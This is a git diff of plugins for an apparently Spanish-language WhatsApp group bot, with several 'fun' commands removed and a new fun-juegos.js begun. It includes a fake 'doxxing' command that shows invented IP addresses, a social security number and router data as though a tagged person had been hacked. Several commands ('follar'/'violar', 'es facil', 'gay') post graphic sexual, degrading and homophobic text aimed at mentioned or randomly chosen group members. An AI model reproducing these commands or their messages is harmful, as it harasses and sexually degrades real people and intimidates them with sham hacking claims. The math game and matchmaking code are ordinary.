-let mz = `*${pickRandom(['224.203.192.120','51.84.22.38','72.103.181.182','11.186.197.194','2.164.37.166','3.129.51.178','94.53.50.167','41.44.23.164','64.78.36.163','166.73.184.242','166.73.184.242','242.158.79.7','48.182.253.42','117.114.38.139','78.84.196.238','226.88.134.38','77.78.36.143','27.144.217.243','178.107.23.219','11.206.86.63','61.230.110.17','151.11.183.174','231.26.192.30','87.39.53.244','23.130.164.74','8.104.149.48','197.44.247.159','52.66.10.68','1.69.145.235','246.17.58.125','17.30.238.218','81.56.254.24','169.209.121.246','63.196.114.29','61.72.0.219','28.165.107.34','71.23.2.222','113.185.196.216','57.221.120.54','49.140.83.222','126.28.62.182','143.43.30.23','245.182.13.149','179.74.0.248','32.133.120.250','63.190.245.90','157.209.181.152','5.192.240.215','234.253.96.100','61.119.204.124','209.160.161.103'])}%*`
-/*let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-let ip = `*${pickRandom(['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''])}%*`
-*/
-
-
-
-let old = performance.now()
-let neww = performance.now()
-let speed = `${neww - old}`
-let doxeo = `*✅ 𝑷𝒆𝒓𝒔𝒐𝒏𝒂 𝒉𝒂𝒄𝒌𝒆𝒂𝒅𝒂 𝒄𝒐𝒏 𝒆́𝒙𝒊𝒕𝒐*\n\n*𝑻𝒊𝒆𝒎𝒑𝒐: ${speed} 𝑺𝒆𝒈𝒖𝒏𝒅𝒐𝒔!*
-
-*𝑹𝒆𝒔𝒖𝒍𝒕𝒂𝒅𝒐𝒔:*
-
-*Nombre:* ${text}
-*Ip:* ${ip}
-*N:* ${n}
-*W:* 12.4893
-*SS NUMBER:* ${ss}
-*IPV6:* ${ipv6}
-*UPNP:* ${up}
-*DMZ:* ${mz}
-*MAC:* 5A:78:3E:7E:00
-*ISP:* Ucom unversal
-*DNS:* 8.8.8.8
-*ALT DNS:* 1.1.1.8.1
-*DNS SUFFIX:* Dlink
-*WAN:* 100.23.10.15
-*WAN TYPE:* private nat
-*GATEWAY:* 192.168.0.1
-*SUBNET MASK:* 255.255.0.255
-*UDP OPEN PORTS:* 8080.80
-*TCP OPEN PORTS:* 443
-*ROUTER VENDEDOR:* ERICCSON
-*DEVICE VENDEDOR:* WIN32-X
-*CONNECTION TYPE:* TPLINK COMPANY
-*ICMPHOPS:* 192.168.0.1 192.168.1.1 100.73.43.4
-host-132.12.32.167.ucom.com
-host-132.12.111.ucom.com
-36.134.67.189 216.239.78.11
-Sof02s32inf14.1e100.net
-*HTTP:* 192.168.3.1:433-->92.28.211.234:80
-*Http:* 192.168.625-->92.28.211.455:80
-*Http:* 192.168.817-->92.28.211.8:971
-*Upd:* 192.168452-->92.28.211:7265288
-*Tcp:* 192.168.682-->92.28.211:62227.7
-*Tcp:* 192.168.725-->92.28.211:67wu2
-*Tcp:* 192.168.629-->92.28.211.167:8615
-*EXTERNAL MAC:* 6U:77:89:ER:O4
-*MODEM JUMPS:* 64`
-await conn.sendMessage(m.chat, {text: doxeo, edit: key});
-//conn.reply(m.chat, doxeo, m)
-user.prue = new Date * 1
-}
-handler.help = ['doxear | <@tag>']
-handler.tags = ['fun']
-handler.command = /^Doxxeo|doxxeo|doxxear|Doxxear|doxeo|doxear|doxxeame|doxeame/i
-handler.fail = null
-export default handler
-const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
-
-function pickRandom(list) {
-return list[Math.floor(Math.random() * list.length)]}
-
-function msToTime(duration) {
-var milliseconds = parseInt((duration % 1000) / 100),
-seconds = Math.floor((duration / 1000) % 60),
-minutes = Math.floor((duration / (1000 * 60)) % 60),
-hours = Math.floor((duration / (1000 * 60 * 60)) % 24)
-
-hours = (hours < 10) ? "0" + hours : hours
-minutes = (minutes < 10) ? "0" + minutes : minutes
-seconds = (seconds < 10) ? "0" + seconds : seconds
-
-return minutes + " m y " + seconds + " s "
-}
\ No newline at end of file
diff --git a/plugins/fun-es_facil.js b/plugins/fun-es_facil.js
deleted file mode 100644
index 52621ad32..000000000
--- a/plugins/fun-es_facil.js
+++ /dev/null
@@ -1,17 +0,0 @@
-let handler = async (m, { conn, command, usedPrefix, text, groupMetadata }) => {
-
- let em = ['😀','😂','🍑','😍','🤤','🥵','😐','🙂','😎','👻','💩','🥴','🤑','🤓']
-
- let toM = a => '@' + a.split('@')[0]
- let ps = groupMetadata.participants.map(v => v.id)
- let a = ps.getRandom()
- let am = em.getRandom()
- conn.sendButton(m.chat, `Pero no tanto como la mama de ${toM(a)}`, author, null, [['Callate bot', 'llorar']], m,{mentions: [a]})
-}
-
-handler.customPrefix = /^(facil|es facil|fácil|es fácil|fasil|es fasil|la chupa bien|se le da bien chupar|chupa bn|chupa bien|la chupa bn)/i
-handler.command = new RegExp
-handler.tags = ['fun']
-
-export default handler
-
\ No newline at end of file
diff --git a/plugins/fun-follar.js b/plugins/fun-follar.js
deleted file mode 100644
index 644ffdd78..000000000
--- a/plugins/fun-follar.js
+++ /dev/null
@@ -1,17 +0,0 @@
-
-let handler = async (m, { conn, command, text }) => {
-if (!text) throw `*Ingrese el @ o el nombre de la persona que quieras saber si te puedes ${command.replace('how', '')}*`
-let user = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted.sender
-conn.reply(m.chat, `
-🤤👅🥵 *𝐀𝐂𝐀𝐁𝐀𝐒 𝐃𝐄 𝐅𝐎𝐋𝐋𝐀𝐑𝐓𝐄𝐋@!*🥵👅🤤
-
-*𝙏𝙚 𝙖𝙘𝙖𝙗𝙖𝙨 𝙙𝙚 𝙛𝙤𝙡𝙡𝙖𝙧 𝙖 𝙡𝙖 𝙥𝙚𝙧𝙧𝙖 𝙙𝙚* *${text}* *𝙖 𝟰 𝙥𝙖𝙩𝙖𝙨 𝙢𝙞𝙚𝙣𝙩𝙧𝙖𝙨 𝙩𝙚 𝙜𝙚𝙢𝙞𝙖 𝙘𝙤𝙢𝙤 𝙪𝙣𝙖 𝙢𝙖𝙡𝙙𝙞𝙩𝙖 𝙥𝙚𝙧𝙧𝙖 "𝐀𝐚𝐚𝐡.., 𝐀𝐚𝐚𝐡𝐡, 𝐬𝐢𝐠𝐮𝐞, 𝐧𝐨 𝐩𝐚𝐫𝐞𝐬, 𝐧𝐨 𝐩𝐚𝐫𝐞𝐬.." 𝙮 𝙡𝙖 𝙝𝙖𝙨 𝙙𝙚𝙟𝙖𝙙𝙤 𝙩𝙖𝙣 𝙧𝙚𝙫𝙚𝙣𝙩𝙖𝙙𝙖 𝙦𝙪𝙚 𝙣𝙤 𝙥𝙪𝙚𝙙𝙚 𝙨𝙤𝙨𝙩𝙚𝙣𝙚𝙧 𝙣𝙞 𝙨𝙪 𝙥𝙧𝙤𝙥𝙞𝙤 𝙘𝙪𝙚𝙧𝙥𝙤 𝙡𝙖 𝙢𝙖𝙡𝙙𝙞𝙩𝙖 𝙯𝙤𝙧𝙧𝙖!*
-
-*${text}*
-🤤🥵 *¡𝐘𝐀 𝐓𝐄 𝐇𝐀𝐍 𝐅𝐎𝐋𝐋𝐀𝐃𝐎!* 🥵🤤`, null, { mentions: [user] })
-}
-
-handler.command = /^(Follar|violar)/i
-handler.fail = null
-handler.register = true
-export default handler
diff --git a/plugins/fun-formarpareja.js b/plugins/fun-formarpareja.js
deleted file mode 100644
index 61ead7929..000000000
--- a/plugins/fun-formarpareja.js
+++ /dev/null
@@ -1,18 +0,0 @@
-let toM = a => '@' + a.split('@')[0]
-function handler(m, { groupMetadata }) {
-let ps = groupMetadata.participants.map(v => v.id)
-let a = ps.getRandom()
-let b
-do b = ps.getRandom()
-while (b === a)
-let vn = './media/Vivan.mp3'
-conn.sendFile(m.chat, vn, 'Vivan.mp3', null, m, true, { type: 'audioMessage', ptt: true, sendEphemeral: true })
-m.reply(`*${toM(a)}, 𝙔𝙖 𝙚𝙨 𝙝𝙤𝙧𝙖 𝙙𝙚 𝙦𝙪𝙚 𝙩𝙚 💍 𝘾𝙖𝙨𝙚𝙨 𝙘𝙤𝙣 ${toM(b)}, 𝙇𝙞𝙣𝙙𝙖 𝙋𝙖𝙧𝙚𝙟𝙖 😉💓*`, null, {
-mentions: [a, b]
-
-})}
-handler.help = ['formarpareja']
-handler.tags = ['main', 'fun']
-handler.command = ['formarpareja','formarparejas']
-handler.group = true
-export default handler
diff --git a/plugins/fun-game-math.js b/plugins/fun-game-math.js
deleted file mode 100644
index c7ac813d4..000000000
--- a/plugins/fun-game-math.js
+++ /dev/null
@@ -1,98 +0,0 @@
-global.math = global.math ? global.math : {}
-let handler = async (m, { conn, args, usedPrefix, command }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-// 60000 = 1 minuto // 30000 = 30 segundos // 15000 = 15 segundos // 10000 = 10 segundos
-let time = global.db.data.users[m.sender].wait + 60000
-if (new Date - global.db.data.users[m.sender].wait < 60000) return await conn.reply(m.chat, `*🕓 𝙀𝙎𝙋𝙀𝙍𝘼 ${Math.floor((time - new Date()) / 1000)} 𝙎𝙀𝙂𝙐𝙉𝘿𝙊𝙎 𝘼𝙉𝙏𝙀𝙎 𝘿𝙀 𝙑𝙊𝙇𝙑𝙀𝙍 𝘼 𝙅𝙐𝙂𝘼𝙍*`, fkontak, m)
-let mat =`${lenguajeGB['smsAvisoIIG']()}✨ 𝙋𝙪𝙚𝙙𝙚 𝙚𝙨𝙘𝙧𝙞𝙗𝙞 𝙡𝙖 𝙙𝙞𝙛𝙞𝙘𝙪𝙡𝙩𝙖𝙙
-
-*Nivel del dificultad*
-${Object.keys(modes).join(' | ')}
-
-*Ejemplo:*
-${usedPrefix + command} noob
-${usedPrefix + command} impossible2
-
-😼 *Mientras mas dificultad mayor recompensa*
-`.trim()
-if (args.length < 1) return await conn.reply(m.chat, mat, fkontak, m)
-// conn.sendHydrated(m.chat, wm, mat, null, null, null, null, null, [['😋 𝙁𝙖𝙘𝙞𝙡 | 𝙀𝙖𝙨𝙮', `${usedPrefix + command} easy`], ['😎 𝘿𝙞𝙛𝙞𝙘𝙞𝙡 | 𝙃𝙖𝙧𝙙', `${usedPrefix + command} hard`], ['🤑 𝙀𝙭𝙩𝙧𝙚𝙢𝙤 | 𝙀𝙭𝙩𝙧𝙚𝙢𝙚', `${usedPrefix + command} extreme`]], m)
-
-let mode = args[0].toLowerCase()
-if (!(mode in modes)) return await conn.reply(m.chat, mat, fkontak, m)
-//conn.sendHydrated(m.chat, wm, mat, null, null, null, null, null, [['😋 𝙁𝙖𝙘𝙞𝙡 | 𝙀𝙖𝙨𝙮', `${usedPrefix + command} easy`], ['😎 𝘿𝙞𝙛𝙞𝙘𝙞𝙡 | 𝙃𝙖𝙧𝙙', `${usedPrefix + command} hard`], ['🤑 𝙀𝙭𝙩𝙧𝙚𝙢𝙤 | 𝙀𝙭𝙩𝙧𝙚𝙢𝙚', `${usedPrefix + command} extreme`]], m)
-
-let id = m.chat
-if (id in global.math) return conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}*ᴛᴏᴅᴀᴠɪᴀ ʜᴀʏ ᴘʀᴇɢᴜɴᴛᴀ sɪɴ ʀᴇsᴘᴏɴᴅᴇʀ ᴇʟ ᴇsᴛᴇ ᴄʜᴀᴛ!!*`, global.math[id][0])
-//let ii = global.db.data.users[m.sender].limit += 10 math.dia
-let math = genMath(mode)
-global.math[id] = [
-await conn.reply(m.chat, `╭┄〔 *${wm}* 〕┄⊱
-┆𝘾𝙪𝙖𝙡 𝙚𝙨 𝙧𝙚𝙨𝙪𝙡𝙩𝙖𝙙𝙤 𝙙𝙚: *${math.str} = ?*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆🧭 𝙏𝙞𝙚𝙢𝙥𝙤: *${(math.time / 1000).toFixed(0)} segundos*
-┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┆𝙍𝙚𝙨𝙥𝙤𝙣𝙙𝙚 𝙖 𝙚𝙨𝙩𝙚 𝙢𝙚𝙣𝙨𝙖𝙟𝙚 𝙮 𝙂𝙖𝙣𝙖
-┆🏆 *${math.bonus}: XP*
-╰━━━⊰ 𓃠 ${vs} ⊱━━━━დ`, m),
-math, 4,
-
-//await conn.sendHydrated(m.chat, `⬆️⬆️⬆️⬆️⬆️⬆️⬆️⬆️⬆️⬆️⬆️`, `𝙍𝙀𝙎𝙋𝙊𝙉𝘿𝘼 𝘼𝙇 𝙈𝙀𝙉𝙎𝘼𝙅𝙀 𝘿𝙀 𝘼𝙍𝙍𝙄𝘽𝘼 𝘾𝙊𝙉 𝙇𝘼 𝙍𝙀𝙎𝙋𝙐𝙀𝙎𝙏𝘼\n\n𝘼𝙉𝙎𝙒𝙀𝙍 𝙏𝙃𝙀 𝙈𝙀𝙎𝙎𝘼𝙂𝙀 𝘼𝘽𝙊𝙑𝙀 𝙏𝙊 𝙆𝙉𝙊𝙒 𝙔𝙊𝙐𝙍 𝘼𝙉𝙎𝙒𝙀𝙍`, null, md, '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿', null, null, [ ['𝙏𝙤𝙥𝙨 | 𝙍𝙖𝙣𝙠𝙞𝙣𝙜 🏆', `${usedPrefix}top`],['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', `${usedPrefix}menu`]], m), math, 4,
-
-setTimeout(() => {
-if (global.math[id]) conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}sᴇ ᴀᴄᴀʙᴏ ᴇʟ ᴛɪᴇᴍᴘᴏ ʟᴀ ʀᴇsᴘᴜᴇsᴛᴀ ᴇs *${math.result}*`, global.math[id][0])
-//conn.sendButton(m.chat, `${lenguajeGB['smsAvisoAG']()}𝙎𝙀 𝘼𝘾𝘼𝘽𝙊 𝙀𝙇 𝙏𝙄𝙀𝙈𝙋𝙊!!\n𝙇𝘼 𝙍𝙀𝙎𝙋𝙐𝙀𝙎𝙏𝘼 𝙀𝙎 *${math.result}*\n\n𝙏𝙄𝙈𝙀 𝙄𝙎 𝙐𝙋!!\n𝙏𝙃𝙀 𝘼𝙉𝙎𝙒𝙀𝙍 𝙄𝙎 *${math.result}*`, wm, null, [['𝙄𝙣𝙩𝙚𝙣𝙩𝙖𝙧 𝙙𝙚 𝙣𝙪𝙚𝙫𝙤 | 𝙏𝙧𝙮 𝙖𝙜𝙖𝙞𝙣', `${usedPrefix + command} ${math.mode}`], ['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', `/juegosmenu`]], global.math[id][0])
-delete global.math[id]
-}, math.time)
-]
-global.db.data.users[m.sender].wait = new Date * 1
-}
-handler.help = ['math ']
-handler.tags = ['game']
-handler.command = /^math|mates|matemáticas/i
-handler.register = true
-export default handler
-
-let modes = {
-noob: [-3, 3,-3, 3, '+-', 15000, 30],
-easy: [-10, 10, -10, 10, '*/+-', 20000, 50],
-medium: [-40, 40, -20, 20, '*/+-', 30000, 200],
-hard: [-100, 100, -70, 70, '*/+-', 40000, 500],
-extreme: [-999999, 999999, -999999, 999999, '*/', 40000, 2500],
-impossible: [-99999999999, 99999999999, -99999999999, 999999999999, '*/', 50000, 5500],
-impossible2: [-999999999999999, 999999999999999, -999, 999, '/', 60000, 8500]
-}
-
-let operators = {
-'+': '+',
-'-': '-',
-'*': '×',
-'/': '÷'
-}
-
-// XP
-function genMath(mode) {
-let [a1, a2, b1, b2, ops, time, bonus] = modes[mode]
-let a = randomInt(a1, a2)
-let b = randomInt(b1, b2)
-let op = pickRandom([...ops])
-let result = (new Function(`return ${a} ${op.replace('/', '*')} ${b < 0 ? `(${b})` : b}`))()
-if (op == '/') [a, result] = [result, a]
-return {
-str: `${a} ${operators[op]} ${b}`,
-mode,
-time,
-bonus,
-result
-}}
-
-function randomInt(from, to) {
-if (from > to) [from, to] = [to, from]
-from = Math.floor(from)
-to = Math.floor(to)
-return Math.floor((to - from) * Math.random() + from)
-}
-
-function pickRandom(list) {
-return list[Math.floor(Math.random() * list.length)]
-}
diff --git a/plugins/fun-game-math_answer.js b/plugins/fun-game-math_answer.js
deleted file mode 100644
index 1fbc22e9b..000000000
--- a/plugins/fun-game-math_answer.js
+++ /dev/null
@@ -1,34 +0,0 @@
-global.math = global.math ? global.math : {}
-let handler = async (m, { conn }) => {
-
-let id = m.chat
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!m.quoted) return
-if (m.quoted.sender != conn.user.jid) return
-if (!/^𝘾𝙪𝙖𝙡 𝙚𝙨 𝙧𝙚𝙨𝙪𝙡𝙩𝙖𝙙𝙤 𝙙𝙚/i.test(m.quoted.text)) return
-if (!(m.chat in global.math)) return conn.reply(m.chat, `${lenguajeGB['smsAvisoMG']()}𝙔𝘼 𝙎𝙀 𝙍𝙀𝙎𝙋𝙊𝙉𝘿𝙄𝙊 𝙀𝙎𝙏𝘼 𝙋𝙍𝙀𝙂𝙐𝙉𝙏𝘼`, m)
-//conn.sendButton(m.chat, `${lenguajeGB['smsAvisoMG']()}𝙔𝘼 𝙎𝙀 𝙍𝙀𝙎𝙋𝙊𝙉𝘿𝙄𝙊 𝙀𝙎𝙏𝘼 𝙋𝙍𝙀𝙂𝙐𝙉𝙏𝘼\n𝙏𝙃𝙄𝙎 𝙌𝙐𝙀𝙎𝙏𝙄𝙊𝙉 𝙃𝘼𝙎 𝘼𝙇𝙍𝙀𝘼𝘿𝙔 𝘽𝙀𝙀𝙉 𝘼𝙉𝙎𝙒𝙀𝙍𝙀𝘿`, wm, null, [['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖 𝙅𝙪𝙜𝙖𝙧 🧮', `/math`], ['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']], m)
-if (m.quoted.id == global.math[id][0].id) {
-let math = global.math[id][1]
-let gatacoins = global.db.data.users[m.sender].money += 500
-if (m.text == math.result) {
-
-await conn.reply(m.chat, `💖 𝙍𝙚𝙨𝙥𝙪𝙚𝙨𝙩𝙖 𝙘𝙤𝙧𝙧𝙚𝙘𝙩𝙖\n𝙌𝙪𝙚 𝙥𝙧𝙤 😎\n┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈\n𝙂𝙖𝙣𝙖𝙨𝙩𝙚\n🏆 *_${math.bonus}_* 𝙓𝙋\n┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈\n𝘽𝙤𝙣𝙤\n🎁 *_$500_* 𝙇𝙤𝙡𝙞𝙘𝙤𝙞𝙣𝙨\n┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈\n𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤\n💵 *_$${lolicoins}_* 𝙇𝙤𝙡𝙞𝙘𝙤𝙞𝙣𝙨`, fkontak, m)
-//conn.sendButton(m.chat, `💖 𝙍𝙀𝙎𝙋𝙐𝙀𝙎𝙏𝘼 𝘾𝙊𝙍𝙍𝙀𝘾𝙏𝘼\n𝙌𝙐𝙀 𝙋𝙍𝙊 😎\n┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈\n𝙂𝘼𝙉𝘼𝙎𝙏𝙀 | 𝙒𝙊𝙉\n🏆 *_${math.bonus}_* 𝙓𝙋\n┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈\n𝘽𝙊𝙉𝙊 | 𝘽𝙊𝙉𝙐𝙎\n🎁 *_$500_* 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈\n𝙎𝙐 𝘿𝙄𝙉𝙀𝙍𝙊 | 𝙔𝙊𝙐𝙍 𝙈𝙊𝙉𝙀𝙔\n💵 *_$${gatacoins}_* 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨`, wm, null, [['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖 𝙅𝙪𝙜𝙖𝙧 🧮', `/math ${math.mode}`], ['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', `.juegosmenu`]], m)
-global.db.data.users[m.sender].exp += math.bonus
-
-clearTimeout(global.math[id][3])
-delete global.math[id]
-} else {
-if (--global.math[id][2] == 0) {
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}𝙎𝙀 𝘼𝘾𝘼𝘽𝘼𝙍𝙊𝙉 𝙏𝙐𝙎 𝙊𝙋𝙊𝙍𝙏𝙐𝙉𝙄𝘿𝘼𝘿𝙀𝙎\n𝙇𝘼 𝙍𝙀𝙎𝙋𝙐𝙀𝙎𝙏𝘼 𝙀𝙎 *${math.result}*`, m)
-//conn.sendButton(m.chat, `${lenguajeGB['smsAvisoAG']()}𝙎𝙀 𝘼𝘾𝘼𝘽𝘼𝙍𝙊𝙉 𝙏𝙐𝙎 𝙊𝙋𝙊𝙍𝙏𝙐𝙉𝙄𝘿𝘼𝘿𝙀𝙎\n𝙇𝘼 𝙍𝙀𝙎𝙋𝙐𝙀𝙎𝙏𝘼 𝙀𝙎 *${math.result}*\n\n𝙔𝙊𝙐𝙍 𝙏𝙐𝙍𝙉𝙎 𝘼𝙍𝙀 𝙊𝙑𝙀𝙍\n𝙏𝙃𝙀 𝘼𝙉𝙎𝙒𝙀𝙍 𝙄𝙎 *${math.result}*`, wm, null, [['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖 𝙅𝙪𝙜𝙖𝙧 🧮', `/math ${math.mode}`], ['𝙏𝙤𝙥𝙨 | 𝙍𝙖𝙣𝙠𝙞𝙣𝙜 🏆', `.top`]], m)
-clearTimeout(global.math[id][3])
-delete global.math[id]
-} else conn.reply(m.chat, `${lenguajeGB['smsAvisoFG']()}𝙍𝙀𝙎𝙋𝙐𝙀𝙎𝙏𝘼 𝙄𝙉𝘾𝙊𝙍𝙍𝙀𝘾𝙏𝘼!!\n𝙏𝙀 𝙌𝙐𝙀𝘿𝘼𝙉 *${global.math[id][2]}* 𝙊𝙋𝙊𝙍𝙏𝙐𝙉𝙄𝘿𝘼𝘿𝙀𝙎 😱`, m)
-}}}
-
-handler.customPrefix = /^-?[0-9]+(\.[0-9]+)?$/
-handler.command = new RegExp
-handler.exp = 0
-export default handler
diff --git a/plugins/fun-gay.js b/plugins/fun-gay.js
deleted file mode 100644
index 0ae7a645b..000000000
--- a/plugins/fun-gay.js
+++ /dev/null
@@ -1,14 +0,0 @@
-let handler = async (m, { conn }) => {
-let vn = './media/gay2.mp3'
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
-conn.sendFile(m.chat, global.API('https://some-random-api.ml', '/canvas/gay', {
-avatar: await conn.profilePictureUrl(who, 'image').catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'),
-}), 'error.png', `*🏳️🌈 𝑴𝒊𝒓𝒆 𝒂 𝒆𝒔𝒕𝒆 𝒈𝒂𝒚 𝒍𝒆 𝒈𝒖𝒔𝒕𝒂 𝒍𝒂 𝒑𝒊𝒋𝒂! 🏳️🌈*`, m)
-await await await conn.sendFile(m.chat, vn, 'error.mp3', null, m, true, {
-type: 'audioMessage',
-ptt: true })
-}
-handler.help = ['gay']
-handler.tags = ['maker']
-handler.command = /^(gay)$/i
-export default handler
diff --git a/plugins/fun-juegos.js b/plugins/fun-juegos.js
new file mode 100644
index 000000000..183c44045
--- /dev/null
+++ b/plugins/fun-juegos.js
@@ -0,0 +1,532 @@
+import util from 'util'
+import path from 'path'
+import fetch from 'node-fetch';
+let toM = a => '@' + a.split('@')[0]
+let handler = async (m, { conn, metadata, command, text, participants, usedPrefix}) => {
+let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
+try {
+
+let user = a => '@' + a.split('@')[0] //'@' + a.split('@')[0]
+let ps = metadata.participants.map(v => v.id)
+let a = ps.getRandom()
+let b = ps.getRandom()
+let c = ps.getRandom()
+let d = ps.getRandom()
+let e = ps.getRandom()
+let f = ps.getRandom()
+let g = ps.getRandom()
+let h = ps.getRandom()
+let i = ps.getRandom()
+let j = ps.getRandom()
+
+
+//------------------------------------------------------------------------------------
+
+if (command == 'amistad' || command == 'amigorandom') {
+m.reply(`*🔰 Vamos a hacer algunas amistades 🔰*\n\n*Oye ${toM(a)} hablale al privado a ${toM(b)} para que jueguen y se haga una amistad 🙆*\n\n*Las mejores amistades empiezan con un juego 😉*`, null, {
+mentions: [a, b]})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'follar' || command == 'violar') {
+if (!text) return m.reply(`*Ingrese el @ o el nombre de la persona que quieras saber si te puedes ${command.replace('how', '')}*`)
+let user = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted.sender
